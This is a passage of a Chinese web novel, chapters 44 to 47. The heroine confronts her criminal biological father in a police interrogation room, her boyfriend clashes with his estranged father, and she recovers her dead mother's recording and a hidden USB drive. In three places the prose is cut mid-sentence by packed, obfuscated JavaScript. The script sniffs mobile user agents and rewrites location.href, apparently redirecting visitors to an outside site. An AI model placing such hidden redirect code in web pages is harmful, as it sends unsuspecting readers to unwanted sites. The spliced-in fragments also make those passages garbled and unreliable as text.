“我爸的事情,还有关于过去三年的事。”他缓缓吸了口气,抬头看她的眼睛,说:“其实我也是三年前才知道那些事。就是出国的前一天,接到——” 这时候,门铃声突然响了。 两人对视,全都在这一刻,心脏狂跳。 沈燎立即起身,“我去开。” 沈离离几乎在他开口的下一刻站起来,“我也去。” 沈燎皱眉看她,沈离离坚定回视。他没辙,只能用沉默代表同意。 门外站的是楚姐。 沈燎打开门,让她进屋后就关上了。 “怎么样了?” “找到汤振了,但他什么都不说。”说着,欲言又止,看了眼沈离离。 沈离离:“楚姐,你说吧,不管怎么样,我后面都得知道的。” 楚姐轻轻提起一口气,说:“汤振要见你,说只要见了你跟你讲几句话,就把事情全盘托出。他还说,警方想知道的事情,证据都在你手里。” 沈离离和沈燎都呆住。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436947|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈离离有点荒谬:“……证据?在我手里?” 楚姐无奈道:“他只说了这些,别的不管怎么问都不开口了。” 纠结两秒,沈离离说:“那就去一趟吧。” 沈燎垂眸看着她,目光沉沉,声音却很轻缓,“离离,不用勉强。单教唆杀人这一条就够他把牢底坐穿了。” “但目前看来,他后面的东西涉及的已经不止是一场车祸了,”沈离离也抬头与他对视,眼神坚定,“没关系的,哥,我不怕他。” 沈燎皱紧眉头,理智上并不支持她去见汤振。那人刁滑奸诈,从前就能干出绑架亲女儿这样的事,指不定这回又怀抱着什么鬼点子,还很可能害得离离再度产生阴影。 但看着她的眼睛,沈燎就知道,他无法说出拒绝的话,她的决定,从来他不能左右的。 沈离离还在宽慰他:“而且是在警局里,旁边肯定有警卫守着,不可能让我一个人见他的。” “……嗯。”他叹了口气。 一个半小时后,抵达警局。 警官同沈离离握了握手,“沈小姐,麻烦你们跑一趟了。” “不会不会,只要能对案子有帮助,让我做什么都行。”她满脸正直,绷得有点紧。 “放轻松,不用有压力,最首要的肯定是保证你的安全。” 对方把更具体的情况告诉了他们,大概和楚姐说的一样,汤振吃定了警方想把“命换钱”查清楚,一直死乞白赖,张嘴就是胡编乱造,核心目的只有一个:他要见沈离离。 沈燎只能压着火,骂了句混蛋。 沈离离去挠他的手心,“没事没事。” 沉默几秒,他忍不住勾唇,气都没了,“怎么反倒是你来安慰我了。” 她笑着说:“因为这种时候,当事人的家属都会比当事人更担心,很正常的。” “这又是哪儿听来的道理?” “出自——沈离离大师之口。” 沈燎低下头,笑了声。 沈离离跟着警官走进审讯室,房间里光线不太亮,给人一种黑沉沉,略显压抑的氛围。 她抬眼,就对上了一双黑色瞳孔,接着,那人咧嘴一笑。 汤振今年已经快五十岁,跟白面团似的于广通完全相反,他身材精瘦,皮肤粗糙,眼窝深陷,瘦得眼球往外凸,头发杂草一样乱糟糟。 仔细看才能发现,沈离离再瘦个十多斤,估计会与他有三分相似。 对视的一瞬,她浑身起了一层鸡皮疙瘩,汗毛直立。 她不明白自己在怕什么,眼前这个男人已经是一根干枯的藤条,他什么都做不了。 但心跳依然很快,耳朵里响起敲鼓一样的咚咚声。 “小离呀,都长那么大了?真漂亮,跟你妈一模一样。咱们父女俩多少年没见过了?”汤振笑着,露出黄牙。 又闻到了。 沈离离嫌恶地皱了皱鼻子。十年如一日,他身上总有一股怪味,混杂着烟草和汗臭的某种焦味。 警官陪着沈离离坐在办公桌后面,汤振坐在审讯椅中,头顶有灯照着他的脸。 这个角度看,更瘦了,像挂着一层皮的骨头架子。 沈离离懒得和他废话,直接问:“你说我有证据,是什么意思?” 汤振不答,张口就和她扯别的事:“诶,你现在是不是姓沈啊?你妈还真有本事,傍上大款了,小孩都跟着享福。那你呢,你现在又是跟谁,嗯?” “汤振!这里是审讯室,不是让你来聊天的,”警官嘭地一声猛拍桌子,怒瞪着他,“态度给我严肃一点!” 汤振翻了下眼睛。 沈离离深吸一口气,说:“前几天跟踪我,是想找我要钱吧?像我小时候,来找我妈妈要钱那样,对吗?” “汤离,你到死都是老子生的!老子凭什么不能——” “你闭嘴,”沈离离放大音量,直接打断他,“我不叫汤离,生我的是我妈妈,不是你。” 44. 第 44 章 她两只手放在腿上,攥着拳,抬起头,直视他,“为什么八年前能拿出那么多钱买命?为什么现在又缺钱?你躲的根本就不是收债的人。” “死丫头!你再胡说——” “我是不是胡说,你心里有数,”她又一次打断他,忽然,笑了一声,“急成这样,就是被我说中了吧。” 沈离离发觉自己的头脑完全冷静下来了,她拼命回忆从前的种种细节,来不及理清逻辑,盯着他,张开口,语速飞快,“我妈妈和沈叔叔肯定拿到了什么证据才会被你们盯上,于广通只是你们的刽子手,说什么代替谁坐牢,其实根本就是唬人……” 说到这里,她猛地顿住。 汤振张口大骂,什么脏话都往外蹦,骂得脸红脖子粗。一旁的警官已经气得站起来,马上要上手制止他。 但沈离离什么都听不见,世界所有声音和画面,一瞬间模糊了。 将近一分钟的静止。 突然,她的意识落了回来。 “十四年前,你绑架我,其实才是替人坐牢。” 沈离离的声音响起,汤振登时停住了。 她面无表情,看着他的眼睛,接着说:“你从不避讳让周围的人知道,你在家里关着一个小孩,就是在等着警察或者我妈妈找来。你得进监狱,或者再严重一点,你得替某个人死,为什么?你怕的只有死吧?所以这些事情,你不干,就还是得死,对吗?” 不止汤振,连一旁的警官也望着她,呆了。 沈离离深呼吸,不知是因为紧张还是激动,身子无法控制地抖。 警官皱着眉,轻拍她的背,“别害怕。” “我不怕呀。”,说完,又抖了一下,自己也搞不懂为什么。 汤振已经歇斯底里:“你以为这一切都是谁造成的?都怪你妈那个臭婊子!当年要不是为了她,老子为什么要出去赚钱,为什么要去外面拼死拼活地干!为什么会去那些个破地方!啊?!小崽子,别以为自己很了不起,你老子还在呢!” 对比他的疯狂,沈离离显得平静多了,甚至扯起唇角,笑了笑,“你管赌博涉毒叫做赚钱?” 警官抬眼看她。 “我妈妈是因为拿到了你们犯罪的证据才被害的对吧。”她眼眶红了,视线模糊,咬着唇,吸了口气,继续说,“但是,汤振,你身上的焦味,酸臭味,还有小时候,我在车库里都能听见的打牌声,全部都是证据。” 沈离离抹了抹眼睛,“你有什么资格说我妈妈?你其实是嫉妒她,因为你这样的人,根本就不配被爱。” - 大厅里有个挂钟,最简单的款式,挂在一排宣传画报旁边。 沈燎靠在椅背里,仰着头,盯着分针,数了一圈又一圈。 好像从没有那么煎熬过,时间比他们告白在一起的前一晚还要漫长。 沈离离刚才从审讯室出来了,他甚至没来得及跟她对上一个视线,她就跟着警官又去了别的屋子。 后面出来的值班人员告诉他,案子有大进展,需要再具体问一问。 好吧,她没事就好。 但眼睛好像有点红。 哭过? 那个人渣,果然很该死。 沈燎快要把挂钟盯穿了,终于忍不住起身,在大厅里踱步。 没一会儿,忽然听见有人喊他。 “小燎,离离情况怎么样了?” 沈燎抬眸。沈君玉着急地走进来,身后跟着砚洲。 “在里面问话,”他说,“应该还有一会儿,别急,耐心等等。” 自己都急成这样,居然还能说出叫人耐心这样的话。 沈燎扯了扯唇角。 沈君玉:“进去多久了?” 他瞥了眼时钟,说:“六十九分钟。” 沈君玉看着他,陷入沉默。她走上前,拍了拍沈燎的肩膀,“放心,不会有事的,相信她。” 沈燎微愣,低下头,嗯了一声。 又过去十几分钟,似乎是某种心灵感应,在声音出现的前一秒,沈燎抬起了头。 沈离离就站在几名警官中间,穿过走廊,朝大厅出来。 她看上去有些疲惫,还在跟身边的警官说些什么,脸上撑着很礼貌的笑容。 最后,她们握了握手,警官似乎郑重地对她说了声谢谢。 沈燎吐出一口气,缓缓站起身。沈离离也是在这个时候转过头的。 四目相对,他们谁也没有说话。 沈离离忽然向前伸出双臂,沈燎毫不犹豫,大步朝她走过去,把她按进怀里。 “哈哈哈……”她在他怀抱里笑出来,声音哽咽,语气却雀跃,“哥,我打败怪兽了。” 沈燎心软得一塌糊涂,揉揉她的脑袋,又低头亲了亲她的头顶。 “嗯,沈离离是大英雄。” “你不知道我刚才有多帅,”她抬着头看他,眼睛亮亮的,像在闪烁,“我真的一下子就把汤振怼得哑口无言,还想起来很多关键的证据,虽然不知道有没有用,但至少……刚才警官姐姐跟我说,他们已经有了一点调查思路。” 她絮絮叨叨,沈燎就看着她的脸,静静听她讲话。甚至没察觉到姑姑他们也在旁边。 一直到沈离离笑着和姑姑打了声招呼,他才回过神。 从警局离开,直接去了姑姑家,到家时刚好是饭点,姑姑已经叫人做了一桌子菜等着。 “离离今天一定要大补,最近发生太多事了,人都瘦了。”姑姑摸摸她的脸,皱着眉,很心疼。 沈离离双手捧着自己的脸颊,挤了挤脸蛋的肉,有些口齿不清:“没有瘦呀,姑姑你肯定是太久没见我了,看来以后我得多来打扰你。” 姑姑噗嗤一声,被她逗笑了。 这顿饭吃得很轻松,沈离离时不时就抬头看沈燎,发觉他今晚笑的次数变多了,心情很好的样子。 有那么几次,视线被他抓到,他十分自得地回盯她,她反倒红了耳根,埋头吃东西。 沈燎就似笑非笑地说:“吃慢点,又没人跟你抢。” 姑姑也笑道:“你哥说得对,吃东西急不得,可别噎到了。” 沈离离红着脸,不吭声,在饭桌下用脚尖去踢他的小腿。 沈燎轻轻嘶了一声。 姑姑问:“怎么了?” 他摇头,带着笑意看了眼沈离离,回答说:“没事,咬到舌头。” “一个两个,吃饭都不老实。” 沈燎笑笑。 饭后,砚洲先一步离开,沈离离和沈燎留下来陪沈君玉坐了一会儿。 边吃水果,沈离离边把事情详细说了一遍。 照她的回忆和推测,汤振大概在关瑶怀孕前就已经和不法分子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444449|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯上联系,到与关瑶离婚,再到绑架亲生女儿,他早就已经不愿回头。 沈离离说:“当时他虽然经常把我一个人丢在车库里,但也不是从不放我出去。他那儿很乱,又脏又臭,但那种臭味……不是让人忍受不了的那种,有点烤焦的味道,像烟草,但比烟草多了酸味。” 沈燎皱了皱眉,想起在国外睡出租屋那几年,路过隔壁那群嗑药青年的屋子闻见的味道。 他大概知道是哪种酸了,像化学试剂的那一种。 “我找不到是什么东西发出来的,但肯定有源头,不是飘散在屋子里。有时候,汤振身上,衣服上,也会有。” 听完,沈燎说:“所以,汤振后面其实还有更庞大的东西。” 沈离离点了点头。 姑姑吸了口气,握紧了离离的手。 沈离离安慰地朝姑姑笑了笑示意自己没事。她如今唯一的心结,就是仍不知道导致关瑶和沈君良遇害的东西到底是什么。 不过,偶尔,沈离离也会觉得幸运女神大概还在眷顾她。又或者根本没什么神,让她幸运的,可能是母亲的在天之灵。 就在她叹气的后一刻,沈燎的手机响了。 他看着手机屏幕,脸上没有太多表情,几秒后才接起电话。 从头到尾,这通电话,沈燎只说了两声嗯。 或许是女人天生的第六感在作祟,沈离离和沈君玉同时看向他,同时问:“是谁?” 沈燎开口:“陆凯鸿。他到海文了,说要把一样东西交给离离,很重要的东西。” 沈君玉:“他在来这的路上?” “嗯。” 他不意外陆凯鸿会知道他们在沈君玉这里。 却没想到,沈君玉下一句话是:“你们替我招待吧。” 沈离离转头看向姑姑。 沈君玉笑了笑,“有东西忘在公司,我出去一趟。” 那么牵强的理由,被她说得那么平静。沈离离嗅到了不寻常的气味。 姑姑很快穿戴好,出门,自己开着车离开了。 沈离离问:“姑姑和陆伯伯有过节?不可能吧,不然陆伯伯怎么会直接来这里。” 沈燎:“他们以前有过一段。” “……” “……嗯?” 沈离离缓缓转头,睁大眼睛,看向沈燎,“嗯?!” 沈燎笑了,点头:“嗯。” “我也是听陆涵音讲的,”沈燎说,“陆凯鸿还在沈家的时候,和姑姑偷偷在一起好几年,算是彼此的初恋,可惜被爷爷发现,一气之下棒打鸳鸯,没过多久,给他们分别安排了联姻,利益牵扯太多,都没法拒绝。” 沈离离有种五雷轰顶之感,“所以,他们当年和沈爷爷闹掰,其实是因为同一件事么?” “差不多吧。”沈燎说。 她实在不解:“但陆伯伯和姑姑在一起有什么不好吗?沈陆两家亲上加亲,会有什么坏处?” 沈燎垂眸,望着她的眼睛,低声道:“爷爷不是阻止他们谈恋爱,他无法接受的是兄妹相爱。他从来都把陆凯鸿当儿子养,连婚事也为他安排得妥妥当当,但没想到,他喜欢上的却是一个屋檐下长大,兄妹相称数十年的女孩。” 沈离离被他注视着,说不出话来。 刚要张口,想回些什么时,思绪又被手机铃声打断。 45. 第 45 章 沈燎移开目光,接起电话。皱着眉听了几秒,嗯了一声就把电话挂了。 他轻轻牵住她的手,“走吧,到门口了。” 沈离离明白了,陆凯鸿也不愿意进这扇门。 她觉得,陆凯鸿和沈君玉之间,必然还发生过别的事情,让他们无法忘记,也无法原谅的事。 不然,一定不会走到今天这一步。 门外停着一辆黑色加长轿车,沈燎走过去,先和站在一旁的秘书打了声招呼,“刘叔。” 沈离离其实不认识这人,不过有样学样,礼貌道:“刘叔好。” 秘书点头,神情温和,“二少,沈小姐。” 头一次听见有人喊他二少,好稀奇。这位秘书看上去像是那种会很欣慰地说,好久没见少爷笑过了的那种管家。 沈离离心虚地躲避慈祥老秘书的目光,跟着沈燎钻进车里。刘叔在外面把车门关上了。 这不是她第一次见陆凯鸿,可惜上一次她还太小,根本没留下什么印象。 只记得年少叛逆的沈燎梗着脖子跟他大吵一架,好像是因为沈燎连着两周旷课,不去学校也不回家,终于逼得陆凯鸿气急,回国亲自逮人。 他那时才上初中,眼睛红红的,咬着牙,仰着头,对陆凯鸿说:“你管我做什么,我是你儿子么?我就算死在外面,跟你有半点关系么?” 陆凯鸿气火攻心,不由分说地动手了。 记忆里,那是沈燎最“不懂事”的一回。可再不懂事,他在外面玩得昏天黑地时,也会按时给她发消息:哥哥没事,离离,早点睡觉。 十几岁的沈燎,确实是天不怕地不怕,仿佛真能把全世界踩在脚底下。唯独在内心深处,仍然有被荆棘包裹的柔软。 “咳咳。” 她骤然回神,看向对面的中年人,“陆伯伯晚上好。” 陆凯鸿老了,她意识到。 年轻时再盛气凌人,此刻,最先让人注意到的也是斑白两鬓。 沈燎的下半张脸像他,十分凌厉的骨相。 “沈离离?”陆凯鸿目光有些疲惫,打量着她。 “是我。” 五官标致,但眉目柔和,是那种看起来很文静的女孩。长相几乎和关瑶一个模子刻出来,但并没有关瑶那股明艳锐利的劲,气质更圆钝温润。 他将目光移向女孩子旁边。 沈燎两腿伸长,低着头,看着手机,似乎并不打算开口。不知道他是不是有意降低存在感,但丝毫不起作用。 往那一坐,像是沈离离的护卫。 “……” 估计他不是很想进这辆车,只是担心这个妹妹被老头子刁难。 陆凯鸿重新看向沈离离,“上次见你,好像还是八年前,现在已经长那么大了。” 她一愣,“八年前?” “你叔叔和你母亲的葬礼上,我见过你。” 沈离离讶异:“我那时都没注意到您也来了。” 陆凯鸿摇头道:“没事,我也就是远远看了一眼,走得急,不值得关注。” 他很快切入正题,从储物格里拿出一个长方形的小盒子,递给她,“这是你涵音姐托我送到你手上的。她生病了,跑不了这趟。” 沈离离小心翼翼接过来,感受这重量。一旁的沈燎终于投来目光。 她没立刻打开,只觉得疑惑,“伯伯,里面是什么?如果太贵重,我不敢收。” 陆凯鸿:“我不清楚。她说这是你的东西,被沈燎落在她那儿了。” 沈燎蓦然抬头,看向那个小盒子。 沈离离轻轻打开,看见里面的东西,愣住了。 是那支录音笔。 三年多以前,就是因为这支录音笔被摔坏,她和沈燎大吵一架,最终闹得两人都后悔莫及。 沈燎开口,对陆凯鸿说了第一句话:“她找人修好了?” 陆凯鸿看向他,“我都不知道是什么东西,你姐什么也不肯说。” 沈离离取出录音笔,仔细检查了一遍,外观和新的一样,就是不知道里面存的音频还能不能播放。 沈燎对她说:“离离,我去打个电话。” “好。” 陆凯鸿看着儿子打开车门出去了。一整晚,终于见他脸上表情有波动,还是因为沈离离的东西。 “你们……事情处理的怎么样了?”他又看向对面的女孩。 沈离离不再摆弄录音笔,立刻抬头,回答:“我们这边基本没问题了,只是警方那边查案子还有点麻烦。” “嗯……沈燎他,最近怎么样?” “啊,他挺好的,工作方面好像也没什么问题。” “这样啊。” “嗯嗯。” 气氛有些微妙,车里的两个人好像都不太擅长和不同辈分的人交谈。不过沈离离发现了,陆凯鸿其实是很想关心沈燎的。 可惜一个开不了口,一个不愿接受。 思索中,忽然听见对面的人问了句:“你们俩现在还是经常住在一起?” 沈离离身子一僵,对上长辈过于严肃的目光,心虚起来。 “也不太经常……沈燎他平时是住他那边的,只是,只是偶尔过来,或者我偶尔过去找他……”怎么回事,越说越乱。 陆凯鸿看着她,轻轻皱起眉,感觉有点不对劲,又说不清到底是哪里不对。 “嗯,你们两个一起长大,感情好,懂得互相照应是好事。” 说完,就发现不对劲在哪了。两个二十多岁的成年人,又不是孩子,需要怎么互相照应? 陆凯鸿神色微变。 沈离离还在点头:“我们会的。” “回国这半年多,沈燎有谈恋爱吗?” “有……嗯?” 眼睛顿时睁大,沈离离嘴巴微张,声音猛地咽回去了。 陆凯鸿自顾自开始倒水,推了一杯过去,很和善地对女孩摆手示意。 沈离离颤颤巍巍捧着杯子,喝了一口,说:“这些事,我也不太清楚。” “他要是谈恋爱,会告诉你吧,”陆凯鸿笑得很淡,但眼神温和,“还是你们平时不聊这些?” 沈离离迅速摇头:“很少聊。” “离离啊,这种事情早晚要面对,你多劝劝他,成家立业是正常的人生轨迹,别嫌麻烦。” 沈离离赶紧点头:“嗯嗯,我会和他说的。” “如果你——” 啪一声,车门被打开,打断了陆凯鸿的话。 沈燎看了他一眼,目光很快移 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沈燎看着他,终于出声:“怎么看出来的?” 陆凯鸿很意外他会这样问,原以为这小兔崽子只会说一句不用你教,然后转身就走。 “你们自以为瞒的很好,但其实很明显。对待妹妹,和对待女朋友是不一样的。” 沈燎沉默两秒,说:“她还是我妹妹,这一点永远不会变。” “你们要在一起,就不可能还当兄妹。” “为什么不能?” “……” 沈燎继续说:“我只会有一个妹妹,一个爱人,这辈子都是。我不是你,做错了事,最后连自己妹妹也不敢见。” 陆凯鸿不可置信地瞪着他。 “你——” “我说错了吗?”沈燎安静地凝视他,“东西送到了就行了,你不用来我这儿装个好爸爸,用你那些失败的经验来告诉我怎么去爱一个人,我不是你。”他再次说。 “沈燎,你以为我做这些都是为了谁?”陆凯鸿还是动怒了,“从小到大,我为你做了多少,为这个家做了多少,我做的还不够吗?!” “为我?”他唇角一扯,“指的是每个月往卡里打钱是吗?” 陆凯鸿再次开口前,沈燎看着他的眼睛,平静地说:“可以了,对一个私生子,你做的已经够了。你不用对我负责,也不需要告诉我路要怎么走。爸,我们谁也不欠谁的。” 说完,他深深望了陆凯鸿一眼,转身大步离开。 车里开着空调,放着轻缓的古典乐曲。 沈离离坐在副驾驶,已经系了安全带,歪着脑袋,呼吸有点重,似乎睡着了。 沈燎坐进驾驶座,把空调调高了一点,转头,瞧着她的睡颜。 静谧温暖的空间内,最爱的人触手可及。 他的心也在一瞬间安宁下来。 沈燎想了很多。要怎么向她解释他的身世,要怎么把过去三年尽可能轻松地讲给她听,她又会是什么样的反应…… 但思绪翻涌过后,脑中唯一的念头,是希望这一刻能定格成永恒。 46. 第 46 章 第二天一早,沈离离坐在书桌前,看着桌上那支录音笔,紧张又忐忑。 里面很有可能是关女士留给她的遗言。 近乡情怯的感觉,如今也算体会到了。 刚才吃早餐时,沈燎很惊讶,说:“我以为你拿到就会立刻听。” 沈离离蔫巴巴地摇头:“不敢听。” 沈燎似乎有点理解,静了静,对她说:“陆涵音托人修复的时候也交代过,只能试听第一秒,保证录音没问题,后面的内容没有人知道。” 沈离离于是更紧张。 纠结了一会儿,她还是小心地捧着笔,打算回房间听。 望着她如临大敌的样子,沈燎有点担心:“我就在书房,需要随时喊我。” 沈离离:“没事,顶多就是哭一场。” 房间里很安静,阳光透过窗户洒进来,明媚温暖。 在这样明亮的氛围里,沈离离开始播放录音。 关瑶的声音,就这样隔着八年时光轻飘飘地飞到她的面前。 “宝贝离离,你在听吗?”关瑶清了清嗓子,声音前所未有的温柔,“虽然这样说不太好,不过……如果我们能平安回到家,你应该不会收到这支笔。” 沈离离的鼻子酸了。 “哎呀,这样看的话,我接下来要说的这些话,全都算是遗嘱吧?”关瑶笑了笑,“宝贝,妈妈也不知道你会在什么时候收到这支笔,一年,三年,或者更久,你肯定长得比现在还高了,肯定更漂亮更可爱更聪明了。妈妈好想你。”声音静下来。 沈离离眼泪断线似的,大颗大颗往下淌。 “这次出差,妈妈和你三叔发现了一些东西,是坏蛋做坏事的证据,但对方很有可能也发现了我们。证据就在原上草小卖部,妈妈给你存小零钱的地方,离离,只有你知道它在哪里。” “这支笔我会寄存在东城,一个可信赖的朋友家,如果我们出事了,她应该会隔个几年再寄给你。”说到这里,关瑶的声音忽然哽咽了,“我的宝贝还太小了……还那么小……” “离离,如果……如果妈妈,真的没有回家,你要学会坚强,学会保护自己,好不好?” “离离……一定要坚强,命运有时就是很残酷,我们,一点办法也没有……” “妈妈这辈子最幸运的事情……不是遇见你三叔,是能有你。” 关瑶说不下去了,声线哭得颤抖。 接着,似乎有人把她轻轻抱住,低声说:“阿瑶,别害怕,不会有事的,我们能回家的,两个孩子都等着我们呢……” 是沈君良的声音,总是那么宽容平和,但这一刻,好像也染上了巨大的悲伤。 录音戛然而止,像是关瑶已经悲痛得无法言语。 房间重归寂静。 阳光还是一样照着,风还是一样吹着。 沈离离趴在桌上,泣不成声。 迷雾全部散开了,后面的真相赤裸裸又残忍地暴露出来。原来有些地方,是阳光照不到的。 一直哭到哭不动了,沈离离脱力靠在座椅里,仰着头,看着窗外的蓝天白云,绿树成荫。 应该是有鸟叫的,或者风吹树叶的沙沙声。 但她什么都听不见,只能听见自己的呼吸声,心跳声。 感官回到身体里,更让人觉得世界空荡。 沈离离身躯颤抖,猛地站起身,近乎本能地打开门,走向书房。 她站定在门口,看见沈燎戴着眼镜,微蹙眉,在电脑后面仔细阅读文件。 一切还是寂静的,但在这瞬间,外界的细微的声音全部涌回身体,重量带着她降落了。 接着,沈燎抬眼,看清了她的脸。 他飞快起身,朝她走过来,沈离离往前一步,下一秒,稳稳抱住他的腰,被熟悉的气息包裹住。 过速的心跳终于恢复正常。 沈燎似乎僵了一瞬,随后也抬起手臂,抱紧她。 “离离,”他感受到怀里的女孩子在轻轻发颤,“想哭就哭,不用忍着。” 沈离离摇头,不说话,也没有哭。 于是他也不再开口,安静地与她相拥。 好几秒后,沈离离才开口,声音有点闷:“哥,我好想你。” 他笑了笑,“我不就在这么?” “就是想,好想好想。” “那该怎么办才好呢?” “不知道,好不了了。” 忽然,沈离离说:“哥,你累不累啊?” “……什么?” 他松开拥抱,微微弯腰,看着她的眼睛。 沈离离目光移开,盯着地面,“你会不会羡慕那些没有弟弟妹妹的人,没有负担,也不用对谁负责……我,嗯,也没事,我就是随便问问。” 沈燎皱眉望着她,顿了几秒,“沈离离,你是笨蛋么?” “……嗯?” “小时候不是最爱看海绵宝宝吗,”他语气温和,“还记得里面的台词么?” “什么台词?” 沈燎轻咳一声,然后学海绵宝宝的声音,夹着嗓子说:“你在我身边的时候,我从来没有羡慕过任何人。” 沈离离震撼地看向他。 这样的声音,居然从沈燎的喉咙里发出来了。 沈离离呆呆的:“这是海绵宝宝对派大星说的。” 沈燎满脸平静,目光温柔,“这也是我想对你说的话。” “我不是派大星,你也不是海绵宝宝啊。” “爱的本质是一样的。” 沈离离吸了吸鼻子,嘴巴一瘪,又想哭了。 “沈燎,我承认你是海绵宝宝了。” “哈哈……”他轻轻掐了一把她的脸颊,“派大星,笑一笑。” 沈离离抱住他,哇哇大哭。 沈燎大惊失色,手足无措。 - 下午四点半,沈离离和沈燎抵达东城。 要从东城市区去到沈离离儿时和妈妈生活的那个小村子,还需要坐两个小时的车。 沈燎让人联系了司机来接他们,开着导航前往村子。 车上,他问她:“那个小卖部真的还在吗?” 毕竟已经过去十多年。 沈离离点头,说:“房子是外婆建的,留给妈妈了,然后又成了我的……虽然不回去住了,但也一直没有卖出去。” 可能冥冥之中,她也觉得,那间小房子里还有什么东西在等待着她。 村子的年轻人大多出去打工了,留在村里的人越来越少,越来越安静。 十多年过去,道路全都变成平滑的柏油路,两旁的房屋都整齐漂亮,背靠着山水。 沈离离紧紧盯着车窗外,眼睛一眨不眨,忽然间感到迷茫,夹杂着一丝丝熟悉。 来到大致的范围,沈离离下了车,看着大变样的田地和房屋,有种眩晕感。 村子变大了,往东边发展,楼房越来越好看,通往镇子的路也修得更近。西边像是被过滤出来的溶质,寂静,又辽阔,唯有青山和一望无际的田野。 沈离离忽然转头看沈燎,露出质疑的眼神,“哥,你会走山路吗?” 沈燎笑了,“这有什么难的。” 最终两个人都高估了自己。 真正的山路,和风景区供游客徒步的道路完全不同。坡度绝对大于四十五度,全都是原汁原味的泥土和石头,崎岖不平,踩上去能听见枯叶被踩碎的咔擦声。 沈离离心想,还好最近没有下雨,不然脚下的鞋别想再要了。 两人互相搭手,终于走到稍微平坦的田埂上。 沈离离有点兴奋,指着前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454441|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方说:“就是那个小山坡后面!” 沈燎:“山坡都记得啊。” “以前上面还没有那么多树,我妈妈会拎着我上去看星星,视野特别好。” “……拎着?” “是呀。”沈离离哈哈大笑。 越过小山坡,入眼是一条稍显狭窄的山道,只有一辆小汽车的宽度,两侧房屋都是土房子。 这里和村子东边相比像是两个世界。 “这边还有人住么……”沈离离呢喃。 沈燎转头看看四周,谨慎地说:“应该很少。” 来到记忆中的小坡,沈离离站住脚步,仰头看。沈燎顺着她的视线望过去 ——原上草小卖部。 掉色的门头,灰扑扑的卷帘门,仅有一层的低矮小屋。 沈离离不再说话,轻轻拉着沈燎的手,带着他走上去。 小卖部左边是一家理发店,右边的门头已经不知所踪,店面都一样小,像复制粘贴的一排小平房。 站在门口,沈离离蹲下身,手指伸进卷帘门下面的门缝里,一直摸到最左边,手又往里够了一点,几秒后,掏出来一把很旧的铜钥匙。 沈燎:“……钥匙就这样藏着?” 沈离离说:“因为屋里根本没什么值钱的东西。” 甚至在今天之前,她从没想过自己会再次回到这里。 钥匙插进锁眼,沈离离转得很小心,生怕钥匙断在里面。她回头朝沈燎招招手,“哥,来帮我抬一下。” 两人合力,终于把卷帘门推上去了,堆积已久的灰尘在空气中飞来舞去。 沈离离咳了两声,捂住口鼻。 沈燎抬手挥了挥,往里望去,空荡荡的玻璃柜台,一堵木板墙,再没有其他东西。 他转头看沈离离,她神情复杂,平静得有点悲伤,过了好几秒,才轻轻走进去。 沈燎跟在她身后。玻璃柜台后面,穿过木板墙,又是一个被隔绝的小空间,只够摆一张床和电视柜。 沈离离缓缓开口:“小时候,我和妈妈就睡在这里。床离电视只有那么一点距离,我妈妈不让我在这看电视,说眼睛会坏掉,老是睡在外面挡着我。” 沈燎顺着她的话,问:“后面呢?” “后面我就听,”她笑了笑,“闭着眼睛装睡,特别专心地竖起耳朵听电视里在放什么。” “里面平时会放什么?” 她回忆了一下,“有时是电影,有时是电视剧,大部分时候是综艺频道,有人在里面唱歌。” 沈离离在这一刻,忽然意识到,自己原来从小就擅长倾听来自世界的各种各样的声音。 沈燎似乎也意识到了这一点,转头看向她。 沈离离呼了一口气,笑道:“不说了,找到东西我们就走吧,不然等会儿天黑,山路更难走。” 他轻轻嗯了一声。 沈离离爬上那张只剩木板的床,弓着腰,小心翼翼走到靠墙那边,蹲下身,又伸手下去摸索。 摸着摸着,她回头看沈燎,眉头紧锁,“哥,如果找不到怎么办?” “找不到也没事,会有其他办法的,只要做了坏事,一定会留下证据。” “可是……如果找不到,那妈妈和三叔不就……”她蓦然止住。 沈燎朝她走了几步,声音冷静平和,“不会的,离离,无论证据有没有留下来,他们都是伟大的,永远不需要质疑。” 他的声音,又一次让沈离离的心渐渐沉静。 就在这一刻,手指摸到了质感不同的硬物,她浑身一激灵,一把抓在手里,拿了出来。 “找到了!” 沈离离欣喜若狂,咚咚两声,从床板上跳下来。沈燎立刻抬起手臂把她扶稳。 她摊开手心,里面躺着一枚年代久远的U盘。 47. 第 47 章 从东城回到海文,已经是凌晨。 沈离离毫无睡意,一到家,就和沈燎一起把U盘插进电脑,心情忐忑,盯着屏幕。 文件里有一个视频和若干照片。 